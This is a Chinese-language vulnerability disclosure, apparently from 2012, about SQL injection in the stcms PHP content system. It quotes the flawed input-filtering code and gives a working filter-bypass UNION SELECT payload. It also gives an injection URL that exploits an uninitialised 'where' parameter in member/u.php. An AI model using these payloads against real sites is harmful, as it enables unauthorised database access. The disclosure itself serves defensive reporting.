2012-07-27: 积极联系厂商并且等待厂商认领中,细节不对外公开 2012-09-10: 厂商已经主动忽略漏洞,细节向公众公开
Sql 注入
$mysql = new mysql();$search_arr = array("/\bunion /i","/\bselect /i","/\bupdate /i","/\boutfile /i","/\bor /i","/\bdelete /i","/\binsert /i"); $replace_arr = array("union ","select ","update ","outfile ","or ","delete ","insert "); $_POST = stripSql($_POST,$search_arr,$replace_arr);$_GET = stripSql($_GET,$search_arr,$replace_arr);$_COOKIE = stripSql($_COOKIE,$search_arr,$replace_arr);unset($search_arr, $replace_arr);if(!get_magic_quotes_gpc()){ $_POST = addslash($_POST); $_GET = addslash($_GET); $_COOKIE = addslash($_COOKIE); $_SERVER = addslash($_SERVER);}@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);sriipSql:function stripSql($str,$search_arr,$replace_arr) { if(is_array($str)) { foreach($str as $key => $value) { $result[$key] = stripSql($value,$search_arr,$replace_arr); } } else { $result = preg_replace($search_arr,$replace_arr,$str); } return $result;把我们的 union+空格 替换成 union //这个过滤有些问题我们只要把空格替换诸如:+| N个空格| tab | enter | 等index.php?8'+/*!Union*/+/*!SelEct*/+1,2,3,4,version(),6,7,8,在magic_quotes_gpc关闭时 会调用 addslash过滤GET POST COOKIESFunction addslash{if(is_array($str)) { foreach($str as $key => $value) { $result[$key] = addslash($value); } } else { $result = @mysql_real_escape_string($str) ? mysql_real_escape_string($str) : addslashes($str); } return $result;调用mysql_real_escape_string函数来转义Sql语句中特殊字符,它有一个特征就是会考虑到连接的当前字符集除了例如 Set names GBK 就是期望返回GKB集编码上面说了mysql_real_escape_string会考虑当前连接的字符集除了mysql_set_charset 能改变默认字符集.其它的都是默认latin-1Mysql_real 这时使用的是默认的 导致和addslashes处理一样的效果SQL注入U.php 50-65行 case 'list': $totalNum = $mysql->numTable("member", $where); $pageNum = 20; $totalPage = intval($totalNum/$pageNum) == $totalNum/$pageNum ? $totalNum/$pageNum : intval($totalNum/$pageNum)+1; $page = $page ? $page : 1; $page = $page>$totalPage ? $totalPage : $page; $page = $page<1 ? 1 : $page; $members = $mysql->select("member","id,name,time,money,provience,city,picture",$where,array("id DESC"),array(($page-1)*$pageNum,$pageNum)); require(INCLUDE_PATH."page.class.php"); $pageClass = new page($page,$totalNum,$pageNum, WEB_URL."member/u.php?action=list", true); $pageCode = $pageClass->getCode(); $smarty->assign("webTitle","会员列表"); $smarty->assign("uList", $members); $smarty->assign("pageCode", $pageCode); $smarty->display("member/m_u_list.html");function numTable($table='',$wheres=false) { $table = $this->dbPrefix.$table; $sql = "SELECT COUNT(*) AS num FROM `$table`"; if($wheres) { $sql .= " WHERE "; if(is_array($wheres)) { foreach($wheres as $key => $val) { $whr[] = "`$key`='".$val."'"; } $sql .= implode(" AND ",$whr); } elseif(is_string($wheres)) { $sql .= $wheres; } } $result = $this->fetch($this->query($sql)); return $result['num']; }Where 没初始化 导致可执行任意sql语句http://localhost/stcms_html/member/u.php?action=list&where={sql}
http://localhost/stcms_html/member/u.php?action=list&where={sql}
变量要正确初始化
未能联系到厂商或者厂商积极拒绝